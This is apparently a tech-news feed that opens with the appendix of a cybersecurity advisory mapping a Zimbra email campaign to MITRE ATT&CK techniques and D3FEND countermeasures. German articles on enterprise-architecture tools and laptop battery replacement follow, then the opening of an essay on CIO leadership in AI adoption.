Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

18 Enterprise-Architecture-Tools

Sat, 25 Jul 2026 18:59:25 +0200

Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Foto: I Believe I Can Fly – shutterstock.com

Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die digitale Transformation geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.

Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.

Empfehlenswerte Enterprise-Architecture-Tools

Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.

Ardoq

Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.

Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.

Wichtigste Use Cases:

“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;
Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;
Application Portfolio Management, um besser strategisch zu planen.

Atoll Group SAMU

Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.

Wichtigste Use Cases:

Enterprise-Architektur visualisieren;
strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;
mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.

Avolution Abacus

Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, Excel, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.

Wichtigste Use Cases:

die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;
umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;
Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.

BOC Group ADOIT

ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.

Wichtigste Use Cases:

ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;
vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;
bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.

Bizzdesign Hopex

Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft Azure und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.

Wichtigste Use Cases:

datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;
akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;
eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.

Bizzdesign Horizzon

Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind Change Management und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign im Januar 2025 auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.

Wichtigste Use Cases:

Vorhersage zukünftiger Anforderungen durch Predictive Modeling;
Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;
Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.

Capstera

Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.

Wichtigste Use Cases:

Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;
Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;
die langfristige strategische Planung vorantreiben.

Clausmark Bee360

Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz.

Wichtigste Use Cases:

C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;
präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;
integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.

EAS

Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als Open-Source-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.

Wichtigste Use Cases:

den technischen Reifegrad der eigenen Architektur evaluieren;
Sicherheit und Governance durch besseres Asset Tracking optimieren;
wachsende Systemkomplexität kontrollieren und managen.

OrbusInfinity

Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi abgeschlossen. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung, die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform integrieren, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow.

Wichtigste Use Cases:

Stakeholder-Management;
Enterprise-Landschaften visualisieren;
Entscheidungsfindung und Datenanalyse automatisieren.

Planview Enterprise One

Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.

Wichtigste Use Cases:

eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;
Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;
mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.

QualiWare Enterprise Architecture

Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.

Wichtigste Use Cases:

ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;
architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;
eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.

Quest Erwin Evolve

Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.

Wichtigste Use Cases:

einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;
Customer Journeys verstehen;
Services und Systeme mit Application Portfolio Management tracken.

SAP LeanIX Enterprise Architecture Suite

Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie SaaS– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 ist LeanIX Teil von SAP.

Wichtigste Use Cases:

Anwendungsmodernisierung und Cloud-Migration managen;
Obsoleszenz von Software-Services evaluieren;
Kosten kontrollieren und managen.

ServiceNow

Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, DevOps, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.

Wichtigste Use Cases:

Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;
Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;
durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.

Sparx Systems

Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.

Wichtigste Use Cases:

Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;
(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;
Dokumentation erstellen.

Unicom System Architect

System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.

Wichtigste Use Cases:

Was-wäre-wenn-Fragen zum Architekturmodell stellen;
ein Metamodell von Daten und Systemen aufbauen;
Migrations- und Transformationspläne erstellen.

ValueBlue BlueDolphin

Dieses EA-Tool sammelt Daten auf dreierlei Art:

Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).
Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.
Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.

Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.

Wichtigste Use Cases:

systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;
zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;
Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.

(fm)

Dieser Artikel ist im Original bei unserer Schwesterpublikation CIO.com erschienen.

Akku im Sinkflug – wann lohnt der Tausch, wann muss ein neues Notebook her?

Sat, 25 Jul 2026 18:59:24 +0200

ParinPix / Shutterstock.com

Die Steckdose wird zum ständigen Begleiter, das Ladekabel zum wichtigsten Accessoire im Rucksack: Wenn der Notebook-Akku nachlässt, wächst unweigerlich der Frust im Alltag. Die schlechte Nachricht: Der chemische Alterungsprozess von Lithium-Ionen-Zellen ist unvermeidbar. Doch ein schwacher Akku bedeutet noch nicht zwingend, dass ein älterer Laptop in den Elektroschrott gehört. Oft lässt sich der Stromspeicher problemlos austauschen und die Reparatur ist wirtschaftlich sinnvoll. Aber nicht in jedem Fall. Wir zeigen, wie Sie sich an Fakten statt am Bauchgefühl orientieren und wann es Zeit wird, sich nach neuer Hardware umzusehen.

Diagnose: Fakten statt Bauchgefühl

Foundry

Bevor Sie Schraubenzieher zücken oder neue Hardware kaufen, muss geklärt werden: Ist Ihr Akku wirklich verschlissen, oder saugt ressourcenfressende Software im Hintergrund heimlich den Stromspeicher leer? Die Frage ist schnell beantwortet, denn sowohl Windows als auch macOS bieten tiefgreifende Diagnose-Tools, die sich mit wenigen

Unter Windows: Öffnen Sie die Windows-Eingabeaufforderung (CMD) oder PowerShell als Administrator und tippen Sie den Befehl

powercfg /batteryreport

ein. Windows generiert daraufhin eine detaillierte HTML-Datei, die tief ins System blicken lässt. Öffnen Sie die Datei unter dem angegebenen Pfad – z.B. „C:\battery-report.html“. Entscheidend sind hier zwei Werte: die Design Capacity (die ursprüngliche Nennkapazität Ihres Akkus ab Werk) und die Full Charge Capacity (die aktuell noch erreichbare Maximalkapazität). Liegt die aktuelle Kapazität unter 80 Prozent des Ursprungswertes, gilt ein Akku allgemein als verschlissen. Spätestens wenn er die 70-Prozent-Marke unterschreitet, wird der Kapazitätsverlust im Alltag oft zu einer spürbaren Einschränkung – das Bauteil ist Ende seines Lebenszyklus angekommen.

Bei macOS: Auf einem MacBook führt der Weg über das Apfel-Menü zu Systemeinstellungen → Allgemein → Info → Systembericht. Unter dem Reiter „Stromversorgung“ finden Sie die Anzahl der Ladezyklen sowie den Zustand. Apple garantiert in der Regel, dass ein Akku nach 1.000 vollständigen Ladezyklen noch mindestens 80 Prozent seiner ursprünglichen Kapazität halten kann. Fällt der Wert darunter, rät das System oft von selbst zum Service.

Schrauben oder schrauben lassen?

Auf iFixit finden Verbraucher Reparaturanleitungen, Ersatzteile und Werkzeug für zahlreiche Notebooks, Smartphones und andere Elektronikgeräte.

Foundry

Steht der Defekt fest oder ist die Alterung bereits weit fortgeschritten, folgt oft eine logistische Herausforderung. Die Hardware-Realität von 2026 ist Verbrauchern nämlich nicht gerade entgegengekommen – zumindest beim Akku: In vielen modernen Ultrabooks, Surface-Geräten oder MacBooks sind die Akkuzellen großflächig im Gehäuse verklebt. Das macht den Tausch für Laien gefährlich, weil bei einer Beschädigung der Zellen akute Brandgefahr besteht.

Der Gang zur Fachwerkstatt ist deshalb oft alternativlos – achten Sie hierbei am besten auf zertifizierte Betriebe, die eine Garantie auf das Ersatzteil gewähren. Anders sieht es bei reparaturfreundlichen Business-Geräten wie dem Lenovo ThinkPad T14 Gen 5 oder Vorreitern der Modularität wie dem Framework Laptop 16 aus: Hier brauchen Sie oft nur einen passenden Schraubendreher und zehn Minuten Zeit, um den Akku selbst zu tauschen. Wie Sie Ihren Akku am Laptop oder am Smartphone selbst tauschen können, erklären wir in diesem Ratgeber.

Achtung beim Teilekauf: Sparen Sie nicht am falschen Ende. Extrem billige Nachbau-Akkus von No-Name-Händlern auf großen Marktplätzen bergen nicht nur ein Brandrisiko, sondern schummeln oft auch bei der echten Kapazität. Greifen Sie unbedingt zu Originalteilen des Herstellers oder zu zertifizierten Ersatzteilen etablierter Drittanbieter (wie iFixit).

Wenn die Diagnose zeigt, dass Ihr Akku physisch noch fit ist, dann liegt das Problem vermutlich an Software mit Selbstbedienungsmentalität. Praktisch: Windows und macOS verfügen über integrierte Stromfresser-Finder. Unter Windows navigieren Sie zu Einstellungen → Strom und Akku → Akkunutzung. Dort listet Windows genau auf, welche Apps in den letzten Tagen am meisten Energie verbraucht haben. Auf dem Mac erfüllt die App Aktivitätsanzeige (Reiter Energie) denselben Zweck. Stoßen Sie hier auf Programme, die Sie gar nicht aktiv nutzen, sollten Sie deren Hintergrundaktivität einschränken oder die Software komplett deinstallieren.

💡 Infobox: Das neue Recht auf Reparatur (Stand 2026)

Das Recht auf Reparatur stammt von der Europäischen Kommission und dem EU-Parlament. Ziel des Gesetzespakets ist es, die wachsenden Berge von Elektroschrott auf dem Kontinent zu reduzieren und die Kreislaufwirtschaft zu stärken. Nach der Verabschiedung der EU-Richtlinie im Jahr 2024 hatten die Mitgliedsstaaten bis 2026 Zeit, die Vorgaben in nationales Recht umzusetzen – nun greifen die Regeln schrittweise und wirken sich zunehmend auf den Reparaturalltag aus.

Was Verbraucher davon haben:

Reparaturpflicht: Hersteller sind nun gesetzlich verpflichtet, für gängige Elektronikgeräte (wie Smartphones und Laptops) Reparaturen anzubieten – und das auch nach Ablauf der gesetzlichen Gewährleistung.
Zugang zu Ersatzteilen: Unabhängige Fachwerkstätten und ambitionierte Bastler erhalten leichteren Zugang zu Original-Ersatzteilen und offiziellen Reparaturanleitungen.
Weniger Software-Sperren: Praktiken wie das sogenannte “Parts Pairing” (bei dem Ersatzteile per Software blockiert werden, wenn sie nicht von einer offiziellen Vertragswerkstatt eingebaut wurden) werden stark eingeschränkt.
Mehr Wirtschaftlichkeit: Durch den faireren Wettbewerb sinken die Reparaturkosten, was den Tausch eines Akkus oft attraktiver macht als einen teuren Neukauf.

Wann lohnt sich der Tausch?

Um zu beurteilen, ob sich die Investition für den Austausch lohnt, hilft die bewährte 50-Prozent-Regel: Übersteigen die Kosten für die Reparatur (Ersatz-Akku plus eventuelle Arbeitszeit der Werkstatt) mehr als die Hälfte des aktuellen Restwerts des Notebooks, wird die Angelegenheit unwirtschaftlich.

Ein Rechenbeispiel: Ein vier Jahre altes Premium-Notebook, das früher mal 1.500 Euro gekostet hat, bringt auf dem Gebrauchtmarkt vielleicht noch 400 bis 500 Euro. Eine Investition von 120 Euro für einen fachgerechten Akkutausch ist dann noch durchaus sinnvoll und kann dem Gerät weitere zwei bis drei Lebensjahre verschaffen. Bei einem ohnehin leistungsschwachen 400-Euro-Plastikbomber aus dem Jahr 2021 ist eine 100-Euro-Reparatur jedoch (jenseits von Nostalgiegründen) kaum zu vertreten und gilt als unwirtschaftlich.

Wann ein Neukauf wirklich sinnvoll ist

Mal ehrlich: Der Akku ist oft nur das offensichtlichste Symptom eines veralteten Systems. Wer über eine Reparatur nachdenkt, sollte objektiv prüfen, ob die restliche Hardware den heutigen Anforderungen noch gewachsen ist – oder ob man mit einem neuen Laptop besser fährt:

Windows 10 Support-Ende: Das offizielle Support-Ende von Windows 10 (Oktober 2025) liegt bereits hinter uns. Privatanwender in der EU haben zwar Glück im Unglück: Wer mit einem Microsoft-Konto angemeldet ist, erhält die Extended Security Updates (ESU) im ersten Jahr bis Oktober 2027 kostenlos. Doch spätestens im Herbst 2027 ist endgültig Schicht im Schacht. Geräte, deren Prozessoren nicht offiziell für Windows 11 zertifiziert sind (ältere CPUs vor der Intel Core 8. Generation oder AMD Ryzen 2000er-Serie), stoßen dann an ihre praktische Lebensdauergrenze. Ohne den auslaufenden ESU-Schutz sollten Sie ab diesem Zeitpunkt bei betroffenen Windows-Geräten nicht mehr in einen neuen Akku investieren.
Speicher-Flaschenhälse: Verlöteter, nicht aufrüstbarer Arbeitsspeicher von 8 GB stößt selbst bei ausschließlicher Browser-Nutzung und Office-Anwendungen oft an seine Grenzen.
Träge Performance: Wenn das Notebook nicht nur schnell leer ist, sondern beim Öffnen von Programmen ins Schwitzen kommt und der Lüfter permanent auf Hochtouren läuft, bringt auch der stärkste neue Akku kein flüssiges Arbeitsgefühl zurück.

Zeit für einen neuen Laptop?

Wenn kein (sinnvoller) Weg mehr am Neukauf vorbeiführt, ist das nicht immer eine schlechte Nachricht: Moderne Geräte punkten nicht nur mit deutlich mehr Ausdauer jenseits der Steckdose – sie bringen auch spürbar mehr Tempo und Sicherheit, effizientere Hardware und oft angenehm leise Kühlung in Ihren Alltag.

Fazit und Checkliste: Akku tauschen oder Neukauf?

Die Entscheidung zwischen Werkstatt und Neuanschaffung ist am Ende des Tages ein Abwägen von Kosten, Nutzen und Sicherheit. Die folgende Checkliste hilft dabei, das Schicksal Ihres Notebooks zu klären:

Der Tausch lohnt sich, wenn:

der Laptop noch alle Leistungsanforderungen im Alltag erfüllt.
Windows 11 offiziell unterstützt wird (oder macOS/Linux aktuell ist).
die Gesamtreparatur weniger als 50 % des Restwerts kostet.
das Gehäuse unbeschädigt ist und Scharniere sowie Tastatur noch zuverlässig funktionieren.

Ein Neukauf ist besser, wenn:

das Betriebssystem (z. B. Windows 10) keine Sicherheitsupdates mehr erhält.
das Gerät durch 8 GB RAM oder eine alte CPU ohnehin ein Flaschenhals im Alltag ist.
Displayschäden oder defekte Ports weitere, teure Reparaturen erfordern.
die Reparatur den Zeitwert des Geräts deutlich übersteigt.

(PC-Welt)

On AI Ethics: Why Prompt Engineering Needs a Moral Compass

Sat, 25 Jul 2026 18:57:45 +0200

In this first of a three-part series, we look at why “working as designed” is no longer good enough for enterprise AI or cybersecurity pros.

AI success requires a full-stack CIO

Sat, 25 Jul 2026 18:57:42 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

